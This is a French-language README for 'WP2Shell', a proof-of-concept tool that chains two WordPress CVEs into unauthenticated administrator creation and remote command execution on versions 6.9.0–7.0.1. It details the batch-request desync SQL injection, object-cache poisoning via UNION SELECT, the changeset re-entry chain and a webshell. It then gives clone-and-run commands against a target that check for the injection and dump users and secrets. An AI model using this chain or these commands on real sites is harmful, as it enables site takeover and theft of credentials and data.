
PoC pour CVE-2026-63030 + CVE-2026-60137, alias WP2Shell
Exécution de code à distance sans authentification pour WordPress 6.9.0–6.9.4 et 7.0.0–7.0.1.
Enchaîne CVE-2026-63030 (SQLi par confusion de routes dans le batch) avec CVE-2026-60137 (ré-entrée de changeset du customizer) pour parvenir à la création d'un administrateur sans authentification et à l'exécution de commandes système. Aucun craquage de mot de passe requis.

Merci à hashkitten pour la découverte, consultez l'analyse technique complète de SLCyber ici.
Le processeur de lots de l'API REST de WordPress (serve_batch_request_v1) contient un bug d'indexation off-by-one : lorsque wp_parse_url() échoue sur le chemin d'une sous-requête, le WP_Error résultant est poussé dans $validation[] mais pas dans $matches[]. Cela désynchronise les deux tableaux — chaque requête suivante est acheminée vers le mauvais handler.
En imbriquant un lot soigneusement structuré dans un autre lot, un attaquant peut :
author__not_in (le cast chaîne→tableau ignore absint())UNION SELECT pour empoisonner le cache d'objets de WordPress avec de faux objets de publicationUne fois la configuration terminée (découverte du préfixe de table et de l'ID admin), la charge utile d'escalade se déclenche en une seule requête HTTP — l'empoisonnement du cache, l'élévation de privilèges et la création d'utilisateur se produisent tous côté serveur en un seul aller-retour.
HTTP POST /batch/v1
│
▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error, not added to $matches │
│ [1] POST /wp/v2/posts → $matches[0] (posts handler) │
│ [2] POST /batch/v1 → $matches[1] (batch handler) │
│ │
│ Desync: request[1] dispatched via $matches[1] │
│ POST /wp/v2/posts body interpreted as batch → inner fires │
│ │
└──────────────────────────────────────┬──────────────────────────────┘
│
┌──────────────────────────────────┘
▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error (desync) │
│ [1] GET /wp/v2/widgets?UNION... → dispatched by posts handler │
│ ▲ WP_Query fires UNION, poisons object cache │
│ ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1 │
│ → changeset published → admin context set │
│ → nav_menu_item UPDATE → hierarchy Loop 2 │
│ → parse_request → REST re-entry ─────────────┐ │
│ │ │
│ [2] GET /wp/v2/posts (categories handler) │ │
│ [3] GET /wp/v2/categories (users handler) │ │
│ [4] POST /wp/v2/users {body} ◄── re-entry with admin ──────┘ │
│ ▲ desync aligns this with users handler │
│ ▲ admin context → user created → die() │
│ [5] POST /wp/v2/users {} (desync spacer) │
│ │
└─────────────────────────────────────────────────────────────────────┘
Empoisonnement du cache (7 fausses publications via UNION) :
[embed] dans son contenucustomize_changeset, statut future, date dans le passé)post_type=nav_menu_item pour le contrôle is_nav_menu_item)post_type=request, post_status=parse, parent=inner)Flux d'exécution :
[embed] se déclenchewp_update_postwp_update_post lit le changeset en cache (parent=outer) → le contrôle de hiérarchie détecte Loop 1future → conversion automatique en publish_wp_customize_publish_changeset se déclenche → wp_set_current_user(admin_id) → contexte admin actifnav_menu_item[real_id] — le cache indique type=nav_menu_item → chemin UPDATEobject_id se résout en une publication en cache avec post_parent=re-entry → wp_update_post sur la publication réelle$post_id non nul) détecte Loop 2 (re-entry ↔ inner)wp_update_post(re-entry) → écrit type=request, status=parse en basewp_transition_post_status déclenche do_action("parse_request") → rest_api_loaded() → serve_request()POST /wp/v2/users en fin de lot réussit → administrateur créé → die()Une variable de session MySQL anti-récursion (@_wp2s) garantit que la chaîne se déclenche exactement une fois et ne boucle pas.
--cleanup supprime l'utilisateur créé et retire le webshell à la sortiegit clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
Pas de pip install, pas de virtualenv. C'est un seul fichier.
# Passive boolean oracle test
python3 wp2shell.py check http://target.com
# Also confirm with timing and UNION
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union
# Auto-selects fastest technique (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"
# Force a specific technique
python3 wp2shell.py read http://target.com --technique blind --preset users